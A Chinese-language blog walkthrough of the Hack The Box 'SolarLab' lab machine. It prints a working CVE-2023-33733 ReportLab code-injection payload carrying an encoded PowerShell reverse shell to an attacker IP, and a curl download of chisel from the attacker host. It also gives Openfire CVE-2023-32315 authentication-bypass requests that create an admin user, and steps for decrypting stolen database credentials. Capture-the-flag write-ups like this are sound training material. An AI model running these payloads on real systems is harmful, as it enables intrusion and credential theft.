Hack The Box SolarLab

1、信息收集(给ip了第一步端口扫描)+通过smbclient匿名入侵

注:将其加入hosts文件中解析

gobuster、dirsearch、dirb等收集不列出

80端口:

6791端口:

经过爆破未能登入

445端口:常见默认端口smbclient

匿名登陆smb

查看Documents文件内容

get下载xlsx文件可以发现用户名密码,尝试对6791端口进行登入,编辑分写用户名和密码对6791端口进行爆破

爆破失败但是可见登入的用户有两个

所以三个用户为什么只有两个用户名是可用的,因为前两个用户后面都只跟一个字母且为大写,所以按这个思路走blake这个用户后门有没有可能也是只跟一个字母也是大写

针对第三个用户名进行爆破blake(A-Z),因为前两个用户虽然存在但并没有密码,所以只针对第三个blake用户进行爆破,这里使用chatgpt生成blake(A-Z)

成功登入

2、寻找相关漏洞

四个功能点均为将输入内容转化成PDF即reporthub功能

没找到单独reporthub的漏洞但是存在与其相关CVE-2023-33733

Reportlab Python 库中存在一个代码注入漏洞(CVE-2023-33733),目前该漏洞的细节及PoC/EXP已经公开。

该漏洞为Reportlab之前修复的代码执行漏洞的补丁绕过,通过绕过'rl_safe_eval'的沙箱限制,从而导致代码执行。

<para>Note: <font color="#484848">{{comment}}</font></para>

 因没有被清理所以{{comment}} 将被视为用户可控输入的占位符,然后将其传递到 pdf 生成库并将其转换为 pdf时就可以包含任意 html

通过html注入实现CVE-2023-33733 RCE攻击 | CN-SEC 中文网

POC

<para>

<font color="[[[getattr(pow, Word('__globals__'))['os'].system('构造语句') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">                

exploit

</font>

</para>

所以需要利用此漏洞在生成pdf时反弹shell

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgA2ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

成功反弹shell

常规扫一遍目录发现.db文件发现用户alexanderk、claudias的信息

很奇怪在Desktop就拿到user.txt了这么快的吗在看看其他的怎么提权到administrator

3、system旗帜

本地监听端口如下

内网渗透|Chisel内网穿透工具-腾讯云开发者社区-腾讯云 (tencent.com)

Release v1.9.1 · jpillora/chisel · GitHub

chisel server -p 6666 --reverse

这时需要两个chisel进行利用一个Linux一个Windows将Windows的进行curl上传与kali中的chisel做交互映射端口到kali机中

可以在自己的攻击机上测试一下(需要开启服务apache2或者开启80端口监听)

curl http://10.10.14.66///chisel_1.9.1_windows_amd64/chisel.exe -o chisel.exe

建立隧道端口转发

客户端使用 R: 前缀来指示需要进行反向连接,并通过对本地端口(127.0.0.1)的映射,将远程服务器上的端口(9090 和 9091)转发到本地主机上的对应端口(同样是 9090 和 9091)

./chisel.exe client 10.10.14.66:6666 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091

成功转发访问

CVE-2023-32315

直接搜索openfire的版本漏洞(searchsploit 中的openfire漏洞版本不对应)

CVE-2023-32315:Openfire身份认证绕过漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

宸极实验室—『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE - 知乎 (zhihu.com)

上述文章中的其他openfire的洞感兴趣的可以自行测试

获取JSESSIONIDcsrf

POC

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: 127.0.0.1:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length: 130

Set-Cookie: JSESSIONID=node01kocd4tb1vuoots7yi53wwldo1.node0; Path=/; HttpOnly
Set-Cookie: csrf=MYypVevHWJwCVwD; Path=/; HttpOnly

未授权创建用户POC

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=I5Mh5Zl1DK2qBGT&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 127.0.0.1:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node01q1zp5igpjjwd1fd25m8atvtmz12.node0; csrf=I5Mh5Zl1DK2qBGT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

或者直接使用

后台上传插件实现RCE

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1

Plugins功能处上传从github上下载的插件

上传jar包

点击进入输入123密码进入管理界面

powershell反弹即可

成功反弹

信息收集

在.script文件中找到各种密文(有用的大概下面这些)

CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'

INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)


INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')


INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')

GitHub - c0rdis/openfire_decrypt: Little java tool to decrypt passwords from Openfire embedded-db

GitHub - jas502n/OpenFire_Decrypt: OpenFire 管理后台账号密码解密

使用openfire工具解密后台管理

encryptedPassword、passwordKey解密

据说两种方式

第一种

impacket-smbexec administrator:'解码的密码'@solarlab.htb

第二种是使用上传靶机RunasCs,然后再反弹shell一次GitHub - antonioCoco/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exe

第二种请看这位师傅,期间也请教了这位师傅解惑

Hack The Box-SolarLab-CSDN博客

  • 18
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值